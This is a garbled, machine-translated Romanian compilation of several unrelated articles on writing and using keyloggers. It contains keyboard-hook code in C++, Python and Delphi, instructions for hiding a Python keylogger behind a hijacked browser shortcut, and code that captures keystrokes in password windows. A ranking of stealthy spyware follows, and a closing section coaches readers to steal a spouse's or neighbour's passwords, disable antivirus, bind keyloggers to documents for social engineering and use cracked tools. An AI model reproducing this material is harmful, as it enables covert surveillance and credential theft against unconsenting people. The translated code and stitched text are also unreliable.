Laboratorul de securitate a informațiilor.              Information Security Laboratory Keylogger cum se scrie un program

Bună ziua, locuitorii din Khabrovsk.

Am decis să scriu un software de înregistrare a tastaturii în C++ folosind WinAPI. Nu pot spune că urmăream un fel de obiectiv de spionaj când l-am scris, mai degrabă mă familiarizam cu cârligele WinAPI. Deoarece nu s-a dovedit atât de rău și nu există niciun articol despre software-ul de logare pe Habré, am decis să-l scriu pe al meu.

Cum se face asta?

Un cârlig de tastatură a fost folosit pentru a prinde apăsările de taste.

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Pentru a intercepta toate apăsările de la tastatură, este convenabil să specificați WH_KEYBOARD sau WH_KEYBOARD_LL ca parametru idHook. Singura diferență este că WH_KEYBOARD_LL interceptează și apăsările de taste cheile de sistem(adică Alt sau orice tastă în timp ce apăsați Alt), așa că o vom selecta.

Lpfn este un pointer către o funcție care procesează mesajele interceptate (în cazul nostru, apăsările de taste).
hMod este un handle de instanță de aplicație care conține o funcție de procesare.
dwThreadId este identificatorul firului ale cărui mesaje dorim să le interceptăm. Trebuie instalat acest parametru la 0 pentru a intercepta mesajele din toate firele.

Valoarea returnată este un mâner pentru cârligul nostru, care va trebui eliberat cu funcția UnhookWindowsHookEx la ieșire.
Privind MSDN pentru ajutor, vedem un prototip al unei funcții care procesează mesajele de la acest cârlig.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode trebuie să fie egal cu HC_ACTION, altfel mesajul este transmis altui proces.
wParam este una dintre următoarele valori: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN sau WM_SYSKEYUP.
lParam este un pointer către structura KBDLLHOOKSTRUCT, în câmpurile căreia ne interesează doar 2 parametri: vkCode (cod virtual) și scanCode a tastei apăsate.
Această funcție trebuie să returneze valoarea funcției CallNextHookEx, altfel următorul hook care procesează evenimentul poate primi parametri de mesaj incorect.
De fiecare dată când este apăsată o tastă, programul nostru va intercepta acest eveniment și îl va procesa cu procedura noastră LowLevelKeyboardProc.

Pentru a retraduce codul virtual și de scanare al unei chei în formă simbolică, avem nevoie de funcția ToAsciiEx.

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

Primii 2 parametri sunt codurile virtuale și, respectiv, de scanare ale cheii.
lpKeyState — starea tastaturii, verifică ce taste sunt apăsate/active.
lpChar este un pointer către un cuvânt dublu în care funcția va scrie reprezentarea simbolică a tastei.
uFlags este un parametru care indică activitatea meniului.
dwhkl — identificatorul aspectului tastaturii.
Valoarea returnată este numărul de caractere scrise în buffer-ul lpChar. Ne interesează cazul când este scris 1 caracter.
Practic, acestea sunt cele 3 funcții principale necesare pentru cel mai simplu logger cu tastatură.

Un pic despre program

Programul se compilează fără RTL în Visual Studio 2013. Astfel, obținem un volum mic fișier executabilși imposibilitatea construirii în versiunea de depanare. Datele sunt scrise într-un fișier jurnal în același director în care se află fișierul .exe. Pentru comoditate, loggerul creează un fișier nou de fiecare dată când înregistrează, înregistrează timpul de apăsare a tastelor, numele ferestrei în care au fost introduse caracterele și se oprește apăsând LSHIFT+RSHIFT. Acest sniffer nu este adaptat pentru o tastatură completă. Unele taste de serviciu, cum ar fi F13 sau NUM_LOCK, pot fi scrise ca . Cred că cei care sunt cel puțin puțin familiarizați cu C/C++ le pot adăuga cu ușurință. Mai mult, poți schimba complet codul după cum ți se potrivește.

Bună, QUAZAR este din nou aici. Astăzi vă voi arăta cum să creați un keylogger simplu în Python. Desigur asta keylogger nu poate concura cu asemenea giganți, dar, în ciuda acestui fapt, își poate găsi folos.

Ce este un keylogger?

Puteți citi în detaliu despre ce este un keylogger și despre tipurile de keylogger în articolul „“. Pentru a găsi materiale suplimentare pe această temă, utilizați căutarea pe site, care se află în colțul din dreapta sus. Trebuie doar să introduceți cuvântul „keylogger” sau „keylogger”.

Keylogger simplu în Python

Pentru a crea un keylogger avem nevoie de:

  • Sistem de operare: Windows sau MacOs (se poate folosi orice Linux, dar nu l-am încercat personal)
  • Python instalat pe mașina țintă, precum și biblioteci speciale.

Acest material are doar scop informativ. Informațiile prezentate în acest articol sunt furnizate doar în scop informativ. Nici editorii site-ului www.site, nici autorul publicației nu poartă nicio responsabilitate pentru orice prejudiciu cauzat de materialul din acest articol.

Crearea unui keylogger simplu în Python

Mai întâi trebuie să descărcați și să instalați Python.


Keylogger simplu în Python

După instalarea Python, trebuie să instalați modulele „pyHook” și „pywin32”. Pe acest site veți găsi versiuni pe 32 și 64 de biți pentru Windows și alte sisteme de operare. Descărcați „PYhook” și „pyWin32” în funcție de versiunea dvs. instalată de Python și Windows (32 de biți sau 64 de biți).


Keylogger în Python. Modulul PYhook Keylogger în Python. modulul pyWin32

Odată descărcat, instalați și deschideți meniul IDLE (Python GUI) din meniul Start.

Keylogger simplu în Python

Accesați meniul „Fișier” și faceți clic pe „ Fișier nou" Apoi lipiți codul keylogger:

#Nume: QUAZAR
#Site web: www.site
import pyHook, pythoncom, sys, logare
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(eveniment):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(eveniment.Ascii)
logging.log(10,chr(event.Ascii))
returnează Adevărat
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Și salvați-l apelând fișierul Keylogger.pyw. Doar nu salvați fișierul în directorul rădăcină C: unde aveți nevoie de drepturi de administrator pentru a copia și șterge fișiere. Crea folder nou pe unitatea C: sau într-o altă locație unde nu aveți nevoie de drepturi de administrator pentru a copia fișiere și a salva acolo Keylogger.pyw.

Puteți selecta orice locație ca fișier de raport de ieșire „file_log = „C:keyloggerlog.txt”, dar de preferință, desigur, o locație ascunsă pe hard disk. În acest exemplu, voi salva fișierul raport pe disc în directorul rădăcină C:. La urma urmei, nu am nimic de ascuns.

Lansarea automată a unui keylogger în Python

Keylogger-ul este gata. Acum trebuie să ne asigurăm că keyloggerul rulează ascuns utilizatorului și automat de se încarcă Windows. Acest lucru poate fi implementat în diferite moduri. Să încercăm să o facem folosind un fișier bat, legând lansarea keylogger-ului la un program sau înregistrându-l la pornire.

Mai întâi, creați un fișier bat. Copiați și inserați următorul cod în Notepad:

::Nume: QUAZAR
::Site web: www.site
@echo dezactivat
începe "" "C:keyloggerkeylogger.pyw"
porniți "" "C:Program FilesOperalauncher.exe"

În prima linie trebuie să introduceți calea către fișierul keylogger.pyw (în cazul meu „C:keylogger.pyw”). În a doua linie, trebuie să introduceți calea către programul pe care îl folosește de obicei utilizatorul (în cazul meu, browserul Opera).

După editare, salvați fișierul în extensia .bat (în cazul meu logger.bat) în unele loc ascuns pe computer (în cazul meu în „C:keylogger.bat”).

Acum mergeți la desktop și selectați o comandă rapidă pentru un program folosit frecvent (în cazul meu, acesta este browserul Opera). Faceți clic dreapta pe mouse pentru a apela meniul contextualși accesați proprietățile comenzii rapide. În câmpul „Obiect”, introduceți calea către fișierul bat keylogger „C:keyloggerlogger.bat”.

După efectuarea modificărilor, pictograma comenzii rapide se va schimba și ea. Dar acest lucru poate fi rezolvat cu ușurință în fila de proprietăți (vezi captura de ecran de mai sus).

Diverse spyware sunt necesare în condițiile în care multe persoane au acces la un singur computer.

În aceste condiții, utilizatorul poate dori să știe ce site-uri au fost vizitate de pe computerul său (de exemplu, de către copii), dacă furtul a avut loc din carduri de credit folosind parolele salvate etc. pentru a clarifica aceste probleme de care veți avea nevoie.

Revizuirea noastră vă va permite să faceți cea mai bună alegere.

Caracteristici la alegere

Ce este mai exact un keylogger? Acesta este un program care, strict vorbind, nu are legătură directă cu tastatura.

Este instalat în memoria computerului și acționează. Adesea, semnele activității sale nu sunt vizibile pe computer decât dacă le cauți în mod special.

Un astfel de program interacționează indirect cu tastatura, adică funcționează cu un program de pe PC care convertește semnalele primite de procesor ca urmare a apăsării butoanelor în text la imprimare.

Adică, acțiunea unui astfel de software are ca scop colectarea informațiilor introduse prin tastatură.

Există astfel de utilități diferite tipuri– cu ajutorul unora poți vizualiza tot textul tastat de la tastatură, cu alții – doar ce a fost tastat în browser sau în orice aplicație selectată.

Unele programe oferă posibilitatea de a configura astfel de indicatori, altele nu.

De asemenea, se deosebesc unul de altul prin gradul de secretizare. De exemplu, activitatea unora este evidentă, o scurtătură rămâne pe Desktop etc., așa programele sunt potrivite pentru monitorizarea activităților, de exemplu, ale copiilor.

Urmele prezenței și activității altora nu se observă deloc - ele acționează ascunse și sunt potrivite pentru instalare pe computerul altcuiva, atunci când instalarea trebuie să fie ascunsă de un utilizator terță parte.

Având în vedere o astfel de diversitate, alegerea celui mai potrivit software poate fi destul de dificilă.

ÎN acest material Este prezentat TOPul celor mai bune programe care pot fi folosite în acest scop. Este mai ușor să-l alegi pe cel potrivit dintre ele.

Specificații

Pentru a simplifica procesul de selecție software Tabelul de mai jos prezintă principalele caracteristici comparative toate programele incluse în TOP.

NumeTipul licențeiTipul de informații colectateFuncţionalProiecta
SC-KeyLogGratuitToateLatSimplificat
Keylogger la îndemână WideStepGratuit/PlătitToateLatÎmbunătățit
Adevărat spionPlătitToateFoarte latStandard
EliteKeyloggerPlătitToateLatStandard
Șobolanul!Gratuit/PlătitMai puțin decât anteriorDestul de latInestetic
SPYGOGratuitÎn funcție de versiuneÎn funcție de versiuneAspect standard de Windows
Ardamax Keylogger 2.9GratuitDe la tastaturăÎngustatSimplificat
Monitor personal NS Keylogger 3.8GratuitToateÎngustatSimplificat
Spion KGBPlătitDe la tastatură + programe deschiseÎngustSimplu
Golden Keylogger 1.32GratuitDe la tastaturăFoarte îngustSimplu

Pe baza caracteristicilor din acest tabel, este ușor să alegeți programul care se potrivește cel mai bine cerințelor dumneavoastră specifice.

Aceste utilități sunt descrise mai detaliat mai jos.

SC-KeyLog

Acesta este un program de spionaj voluminos și funcțional care este distribuit gratuit.

Pe lângă urmărirea specifică a informațiilor introduse de la tastatură, acesta poate colecta și adrese ale site-urilor vizitate, parole, ferestre deschiseîn browser.

Oferă informații complete despre toate acțiunile efectuate pe computer. În acest caz, fișierul generat poate fi vizualizat de la distanță de pe alt dispozitiv.

  • Oportunitate acces la distanță la un fișier de pe alt dispozitiv;
  • Fără urme de activitate a programului pe computer cu setările corecte;
  • Varietate de date colectate - informații despre aproape toate acțiunile de pe computer pot fi accesate.
  • Salvează parolele numai până la NT0;
  • Meniu prea simplu și design inestetic;
  • Un format destul de incomod pentru afișarea rezultatului.

Ce spun utilizatorii care folosesc activ acest software? „Absolut invizibile pentru utilizator”, „Datele ajung regulat prin e-mail”.

WideStep Handy Keylogger

Această aplicație este distribuită gratuit. Versiunea completă plătită costă 35 USD.

Un program destul de interesant și funcțional care merită banii dacă ești dispus să-l plătești.

Trăsătură distinctivă– capacitatea de a trimite date înregistrate la o frecvență specificată. În caz contrar, funcționează bine, adesea mai stabil decât alte programe din această listă.

  • Colectarea diferitelor tipuri de informații;
  • Invizibilitatea completă a muncii pe computerul utilizatorului;
  • Interfață simplă și comenzi.
  • Designul este mai bun decât programul anterior, dar încă nu este grozav;
  • Formatul de afișare a rezultatelor este incomod;
  • Versiunea plătită este destul de scumpă.

Părerile utilizatorilor despre acest software sunt următoarele: „Program convenabil, simplu și funcțional. Destul de invizibil când lucrezi.”

Adevărat spion

Este funcțional și sofisticat program platit costă 600 de ruble. Cu toate acestea, are o versiune demo care este gratuită.

Caracteristica acestui software– capacitatea într-o anumită perioadă de timp.

Acest lucru ajută la rezolvarea problemei introducerii unei parole/chei grafice, care în ultima vreme a început să se răspândească pe scară largă.

  • Multe tipuri de informații colectate plus capacitatea de a face capturi de ecran de pe ecran într-o anumită perioadă;
  • Un număr mare de altele funcții suplimentareși caracteristici;
  • Înregistrează nu numai acțiunile, ci și timpul în care au fost efectuate;
  • Criptează jurnalul generat.
  • Durata de lucru (colectare de informații) în versiunea demo gratuită este de 40 de minute;
  • Distribuție plătită, deși un preț mai mult sau mai puțin rezonabil;
  • Greutatea programului este destul de mare.

Recenziile utilizatorilor despre această aplicație sunt: ​​„Programul este excelent. Bravo programatori!”

EliteKeylogger

Program plătit cu un preț destul de mare– 69 de dolari. Acționează pe un computer complet neobservat în mod nivel scăzut, prin urmare aproape complet nedetectabil.

Caracteristică interesantă și convenabilăpornire automată software, care are loc simultan cu lansarea sistemului în sine.

Este greu de detectat sau deloc detectat chiar și de către anti-keylogger speciale.

  • Acțiune complet ascunsă și greu de detectat;
  • Format de operare de tip driver de nivel scăzut și pornire automată la pornirea sistemului;
  • De asemenea, urmărește apăsările nu numai ale tastelor principale, ci și ale tastelor de serviciu de pe tastatură.
  • Un sistem destul de complex pentru instalarea programului pe un PC;
  • Costul mare al programului, dar Internetul rusesc puteți găsi o versiune veche piratată;
  • Un sistem destul de complex setări individuale program, care însă se justifică.

Ce spun utilizatorii despre acest software? " Program bun", "Puțin mai puțin de Jetlogger."

Șobolanul!

Destul de comun și popular utilitate funcțională cu licență plătită.

Cu toate acestea, pentru uz privat, este oferită o versiune demo gratuită pentru o perioadă limitată.

Programul este foarte simplu– orice utilizator avansat poate scrie la fel. Cu toate acestea, este complet nedetectabil de către antivirusuri și programe speciale, detectând astfel de software.

  • Simplitate, funcționalitate și stabilitate ridicată;
  • Greutatea minimă a fișierului și spațiul ocupat de acesta pe computer;
  • Destul de multe setari.
  • Un design destul de neplăcut, realizat în negru, alb și roșu;
  • Funcționalitatea este oarecum mai restrânsă decât în ​​programele descrise anterior;
  • Vizualizarea incomodă a jurnalului și, în general, interfața și utilizarea incomode.

Utilizatorii spun următoarele despre acest program: „Funcționează stabil, dar este puțin simplu”, „Programul este bun, vă permite să colectați date neobservate.”

SPYGO

Acesta este un keylogger fundamental nou, conceput pentru a funcționa și dezvoltat de un programator rus.

Despre scrierea keyloggers
a fost spus deja de multe ori, dar toate
au un mare dezavantaj - de regulă,
cunoștințe foarte limitate necesare
informații, în loc să scrie totul într-un fișier jurnal,
ceea ce scrie utilizatorul pe tastatură este puțin probabil pentru tine
va da multă mâncare pentru jurnalele de gândire
apăsând butoanele când joci CS 😉

Rezultă că spionul trebuie să fie
avansat, și nu prostesc scrie tot ceea ce
ii dau :) Chiar si numeste un astfel de program
un spion nu întoarce limba – e aproape
agent electronic 007:-))) Modalitati de a
astfel încât programul să scrie în jurnalul de interes
Avem foarte mult material. Cel mai simplu este
controlează ferestrele active, de ex. în care
V în acest moment se sufocă nasturii 🙂 Ce mai faci,
Cred că, știi, spionii constau de obicei din
fișier executabil și DLL. Acest lucru se datorează faptului
ce să intercepteze mesajele către fereastră
trebuie să creați un PROCES nou și majoritatea
O modalitate convenabilă de a face acest lucru este să utilizați un dll.
Prin urmare, pentru a se activa
de fapt, loggerul în sine, veți avea nevoie de el în cel potrivit
moment pentru a încărca DLL și când fereastra este activă
se schimbă cu altceva - descărcați-l din memorie.

Să ne uităm la funcțiile de lucru cu DLL-uri în limbajul vizual
C++. DLL-ul este încărcat în memorie
funcția hINSTAGE=LoadLibrary(„nume.dll”), unde hINSTAGE -
ca un descriptor al unui DLL încărcat în memorie,
name.dll - numele bibliotecii. Pentru a-l descărca,
există o funcție FreeLibrary(hINSTAGE);

Acum despre cum putem obține lucrurile de care avem nevoie
aplicatii. De exemplu, știm că utilizatorul
citește e-mail prin site-ul www.mail.ru, apoi poți
configurați agentul astfel încât să intercepteze
apăsări de taste atunci când utilizatorul trece la aceasta
site-ul web. (Trebuie amintit că în unele
Nu există deloc aplicații de spionaj pentru tastatură
poate funcționa, de exemplu, în bara de adrese
Internet Explorer"a - aceasta duce la "crash
finalizarea programelor” – de la ce mai ești
Windows dorit :))) Pentru această metodă este destul de
citirea parolelor de la dialer este de asemenea potrivită
- dacă utilizatorul suferă de paranoia și de fiecare dată
intră în autentificare și trece manual :) Sau chiar tu
este interesant de știut ce scrie în Outlook sau
într-un blocnotes. Aici este partea din cod care o face
compararea titlurilor ferestrelor cu cele de care avem nevoie.

HINSTAGE hINSTAGE;

în timp ce (1)
{
//Începe bucla.

int sl,ll;
ll=1;
sl=2;
//variabile pentru
contra
O.
char st;
HWND hw;
//Să mergem cu cea mai simplă
prin - compararea șirurilor caracter cu caracter:
titlul ferestrei rezultat și cu cel de care avem nevoie
linia.

în timp ce (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // citit

char stt="_Aici scriem titlul celui dorit
ferestre pentru noi_№1";

sl=strlen(stt);
ll=0;
în timp ce (stt==st)
//comparaţie
rând cu caracter
// este mai convenabil să faceți acest lucru din poziția care va fi
verificați dacă este inclusă cea necesară
//putem folosi șirul ca parte a altui șir, puteți
face ceva de genul //un filtru larg.

{
ll++;
}

dacă (ll==sl) ( //dacă șiruri
meci până la sfârșitul liniei 1 -

Halt; //întrerupe procesul
}
// și așa mai departe - dacă
trebuie să verificați prezența mai multor ferestre.

char stt="_Aici scriem titlul celui dorit
ferestre pentru noi_Nr. 2";
sl=strlen(stt);
ll=0;
în timp ce (stt==st)
{
ll++;
}

dacă (ll==sl) (
Halt; //întrerupe procesul
}

În loc de verificare secvențială, puteți
faceți paralele în comparație în
un ciclu de elemente de rând, dacă cel puțin unul
potriviri - atunci spionul DLL este activat.

hINSTAGE=LoadLibrary("key1.dll");

Acum trebuie să verificăm tot timpul
dacă această fereastră rămâne activă.

în timp ce (ll==sl) //La revedere
liniile se potrivesc - ne învârtim pe loc

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// citit
fereastra activă în prezent.

ll=0;
în timp ce (stt==st)
{
ll++;
}
}

Ieșirea din ciclu indică faptul că este activ
fereastra s-a schimbat, așa că în continuare descarcăm „spyware-ul”
bibliotecă și ciclul începe de la început - adică.
programul așteaptă din nou unul dintre
ferestrele necesare.

FreeLibrary(hINSTAGE);

Cu toate acestea, metoda de mai sus are și
Dezavantaje - trebuie verificat de fiecare dată
dintr-o listă întreagă de ferestre este cea de care ai nevoie?
suntem activi in ​​acest moment. De aceea
puteți folosi un alt algoritm - nu verificați
titlul ferestrei și uitați-vă dacă în asta
elemente de fereastră de tip EditBox.
parolele sunt scrise acolo :) Pentru asta va exista
uită-te la elementele acestei ferestre – și dacă
printre ele se numără Edit - apoi încărcăm DLL-ul.

char p2,p3; //matrice
caractere pentru titlurile ferestrelor.

Din nou, verificăm toate ferestrele într-o buclă:

în timp ce (p3!="Editare") //La revedere
Nu am găsit o fereastră cu o casetă de editare - rulați o buclă

{

hw=GetForegroundWindow();

HWND hwnd_child; //variabilă
element fereastră

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
dacă (p3!="Editare")
//dacă primul este
elementele ferestrei găsite - nu EditBox - atunci
cautand mai departe

{
în timp ce (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
dacă (p3=="Editare")
{
Halt;
}
}
}
}

Acum despre DLL-ul spion în sine.
Este mai bine să o scrieți în Delphi, pentru că asta
descendentul matur al lui Pascal nu are asemenea
obicei „Sipipish” pervertit
știri despre tipurile de date. Pentru a crea
selectați biblioteca File-New-Direct Link Library - și
șablonul pentru DLL este gata. Și iată codul în sine:

cheia bibliotecii 1;
folosește Windows;

var
KHook: HHOOK; //variabilă pentru
"capcane"

funcția KProc(Cod: întreg; wParam: Cuvânt; lParam: LongInt): LongInt; stdcall;
const
KState: întreg = 1073741824; //cod
"tasta apăsată"

var
Simv: ShortString;
KL: matrice de Char; //Pentru
verificarea dispunerii tastaturii

FStruct: TOFSTRUCT;
F:TextFile;
//variabilă
fișier pentru înregistrarea jurnalului.

ÎNCEPE

// îndepărtează-le pe cele inutile
mesaje
dacă (lParam și KState)<>0 atunci
ÎNCEPE

Ieșire;
Sfârşit;

AssignFile(F, "keylog.txt");

// încercând să deschid
fișierul „keylog.txt”:
dacă OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR atunci
ÎNCEPE
ReWrite(F);
// dacă fișierul nu este
creat – noi creăm.

Sfârşit
elseAppend(F);
//dacă există, scrieți la
Sfârşit.

Simv:=chr(0); //resetează la zero
variabilă a simbolului citit de la tastatură.

// analizează codul
tasta apăsată
case wParam of
// numere
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189.109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
Sfârşit;

GetKeyboardLayoutName(KL); //
verificarea aspectului

dacă KL = "00000409" atunci // Dacă
Latin:

ÎNCEPE
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
Sfârşit;
Sfârşit;
Sfârşit;
dacă KL = "00000419" atunci
// Dacă
rusă

ÎNCEPE
case wParam of
219: Simv:="X";
221: Simv:="Ъ";
186: Simv:="F";
222: Simv:="E";
188: Simv:="B";
190: Simv:="Yu";
191: Simv:=".";
65: Simv:="F";
...
87: Simv:="C";
88: Simv:="H";
89: Simv:="N";
90: Simv:="I";
Sfârşit;

//dacă simbolul nu este gol (adică
dacă a fost apăsată o tastă alfanumerică)
// apoi scrieți-l într-un fișier
dacă Simv<>"" atunci
Scrie (F, Simv);
//închideți fișierul
CloseFile(F);

// trimite mesajul
alte capcane din sistem
Rezultat:=CallNextHookEx(KHook, cod, wParam, lParam);
Sfârşit;

ÎNCEPE
//Setă capcană
pentru a intercepta mesajele de la tastatură.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Acest program poate fi, de asemenea, simplificat în
în funcţie de aplicaţie – dacă
să presupunem că trebuie să numeri o singură dată
parola de la dialer - apoi puteți seta
verificând geamurile până când avem nevoie de el și când este
va deveni activ - încărcați biblioteca
key1.dll, așteptați anumit timp, pentru
în care utilizatorul va avea timp să introducă aceste caractere
tastatură și apoi descărcați biblioteca și
termina programul. Ceva de genul asta :)

hINSTAGE=LoadLibrary("key1.dll");
Somn (10000);
//așteptați 10 secunde, pentru asta
ora când utilizatorul va introduce parola.
//timpul poate fi mărit în funcție
în funcţie de nivelul de inhibiţie al utilizatorului
// și viteza lui de tastare pe tastatură :)

FreeLibrary(hINSTAGE);

PS: Tot materialul de mai sus a fost dat
exclusiv cu demo și
obiective educaționale generale, stabilite de autor
Am o sarcină de demonstrat
algoritm de program de tip „actualizat”.
keylogger” și toate
responsabilitatea pentru utilizarea acestuia
materialul cade peste tine (covârșitor
povara 🙂) Implementarea codului contine
inexactități minore care nu dăunează efectiv
algoritm - încercați să le găsiți singur)).

PSS: Desigur, un keylogger poate nu numai
își îndeplinește funcția principală -
de fapt scrie apăsări de buton în jurnal, dar și
modificați valorile tastelor apăsate în funcție de nevoile dvs
gust - dar cum să o faci și pentru ce este
poate fi pur și simplu vital - în
data viitoare :)

Cine dintre noi nu și-a dorit să se simtă ca un hacker cool măcar o dată și să spargă măcar ceva? :) Chiar dacă nu, atunci haideți să vorbim despre cât de grozav ar fi să obțineți o parolă de la e-mailul/rețeaua de socializare. rețeaua unui prieten, soție/soț, coleg de cameră gândit măcar o dată de toată lumea. :) Da, și trebuie să începi de undeva, până la urmă! O parte semnificativă a atacurilor (hacking) implică infectarea computerului victimei cu așa-numitele keylogger (spyware).

Deci, în articolul de astăzi vom vorbi despre ce sunt programe gratuite pentru a monitoriza computerele pe baza de ferestre , de unde puteți descărca versiunile lor complete, cum să infectați computerul unei victime cu acestea și care sunt caracteristicile utilizării lor.

Dar mai întâi, o mică introducere.

Ce sunt keylogger-urile și de ce sunt necesare?

Cred că tu însuți ai ghicit despre ce este vorba. De regulă, acestea sunt un fel de program care este ascuns (deși nu este întotdeauna cazul) instalat pe computerul victimei, după care înregistrează absolut toate tastele de pe acest nod. Mai mult decât atât, pe lângă clicurile în sine, se înregistrează de obicei următoarele: data și ora clicului (acțiunea) și programul în care au fost efectuate aceste acțiuni (browser, inclusiv adresa site-ului web (hura, vedem imediat care sunt parolele). sunt pentru!); aplicație locală; servicii de sistem (inclusiv parolele de conectare Windows) etc.).

De aici una dintre probleme este imediat vizibilă: am acces la computerul vecinului meu pentru câteva minute și vreau să obțin parola ei de la VK! Am instalat programul miracol și am returnat computerul. Cum pot căuta parole mai târziu? Cauți o modalitate de a lua din nou computerul de la ea? Vestea bună este: de obicei nu. Majoritatea keylogger-urilor sunt capabile nu numai să stocheze întreaga bază de date acumulată de acțiuni la nivel local, ci și să o trimită de la distanță. Există multe opțiuni pentru trimiterea jurnalelor:

  • Un e-mail fix (pot fi mai multe) este cea mai convenabilă opțiune;
  • server FTP (cine îl are);
  • Server SMB (exotic și nu foarte convenabil).
  • O unitate flash fixă ​​(o introduceți în portul USB al computerului victimei și toate jurnalele sunt copiate acolo automat în modul invizibil!).

De ce este nevoie de toate acestea? Cred că răspunsul este evident. Pe lângă furtul banal de parole, unii keylogger pot face o serie de alte lucruri frumoase:

  • Înregistrarea corespondenței în rețelele sociale specificate. rețele sau mesagerie instantanee (de exemplu, Skype).
  • Realizarea de capturi de ecran ale ecranului.
  • Vizualizați/capturați datele camerei web (care pot fi foarte interesante).

Cum să folosești keylogger?

Și aceasta este o întrebare dificilă. Trebuie să înțelegeți că doar găsirea unui keylogger convenabil, funcțional și bun nu este suficient.

Aşa, ce este necesar pentru ca un program de spionaj să funcționeze cu succes?:

  • Acces de administrator la un computer de la distanță.
    De ce nu este deloc necesar? acces fizic. Îl puteți accesa cu ușurință prin RDP (Remote Desktop Service); TeamViewer; AmmyAdmin, etc.
    De regulă, cele mai mari dificultăți sunt asociate cu acest punct. Cu toate acestea, am scris recent un articol despre cum să obțineți drepturi de administrator în Windows.
  • E-mail / ftp anonim (prin care nu veți fi identificat).
    Desigur, dacă o încalci pe mătușa Shura pentru vecinul tău, acest punct poate fi omis în siguranță. Așa cum este cazul dacă aveți întotdeauna computerul victimei la îndemână (afla, aflați parolele fratelui/sorii dvs.).
  • Lipsa antivirusurilor funcționale / sisteme interne Protecție Windows.
    Majoritatea aplicațiilor de înregistrare a tastelor publice (care vor fi discutate mai jos) sunt cunoscute de marea majoritate a software-ului antivirus (deși există viruși de înregistrare care sunt încorporați în nucleul sistemului de operare sau în driverul de sistem, iar antivirusurile nu le mai pot detecta sau distruge, chiar dacă au le-a detectat). Datorită celor de mai sus, software-ul antivirus, dacă există, va trebui distrus fără milă. Pe lângă antivirusuri, sisteme precum Windows Defender(acestea au apărut pentru prima dată în Windows 7 începând). Se prind activitate suspectă software care rulează pe un computer. Puteți găsi cu ușurință informații despre cum să scăpați de ele pe Google.

Acestea, probabil, sunt toate condițiile necesare și suficiente pentru succesul dvs. în domeniul furtului parolelor / corespondenței / fotografiilor altor persoane sau orice altceva doriți să încălcați.

Ce tipuri de spyware există și de unde le pot descărca?

Deci, să începem revizuirea principalelor keylogger pe care le-am folosit în practica mea zilnică cu link-uri către descărcare gratuită lor versiuni complete(adică toate versiunile sunt cele mai recente în acest moment (pentru care este posibil să se găsească un remediu) și cu fisuri deja funcționale și testate).

0. Șobolanul!

Evaluări (din 10):

  • Stealth: 10
  • Comoditate/utilizabilitate: 9
  • Functionalitate: 8

Este doar o bombă, nu un keylogger! In stare de functionare dureaza 15-20 KB. De ce să fii surprins: este scris în întregime în limbaj de asamblare (programatorii veterani vărsă lacrimi) și scris în mare parte de hackeri entuziaști, datorită căruia nivelul de secretizare este pur și simplu uimitor: funcționează la nivelul nucleului OS!

În plus, pachetul include FileConnector - un mini-program care vă permite să conectați acest keylogger cu absolut orice program. Drept urmare, obțineți un nou exe de aproape aceeași dimensiune, iar atunci când este lansat, funcționează exact ca programul cu care l-ați lipit! Dar după prima lansare, keylogger-ul tău va fi instalat automat în modul invizibil cu parametrii de trimitere a jurnalelor pe care i-ai specificat anterior. Convenabil, nu-i așa?

O oportunitate excelentă pentru inginerie socială (aduceți un fișier de joc/prezentare unui prieten pe o unitate flash sau chiar doar un document Word (vă voi spune cum să creați un fișier exe care lansează un anumit fișier Word/Excel într-unul dintre următoarele articole), lansare, totul este bine și minunat, dar prietenul este deja infectat invizibil!). Sau pur și simplu trimiteți acest fișier unui prieten prin poștă (este mai bine să descărcați un link către el, deoarece modern servere de mail interziceți trimiterea fișierelor exe). Desigur, există încă un risc din partea software-ului antivirus în timpul instalării (dar nu va exista după instalare).

Apropo, cu ajutorul altor tehnici puteți lipi orice distribuție de instalare ascunsă (acestea se găsesc în The Rat! și Elite keylogger) nu numai cu fișiere exe (care provoacă în continuare suspiciuni în rândul utilizatorilor mai mult sau mai puțin avansați), ci și cu fișiere word / excel și chiar pdf obișnuite! Nimeni nu se va gândi vreodată la un simplu pdf, dar nu este cazul! :) Cum se face acest lucru este subiectul unui articol separat. Cei care sunt deosebit de zeloși îmi pot scrie întrebări prin intermediul formularului de feedback. ;)

În general, Șobolanul! poate fi descris pentru foarte mult timp și mult. Acest lucru a fost făcut mult mai bine decât mine. Există și un link de descărcare acolo.

1. Keylogger de elită

Evaluări (din 10):

  • Stealth: 10
  • Comoditate/utilizabilitate: 9
  • Functionalitate: 8

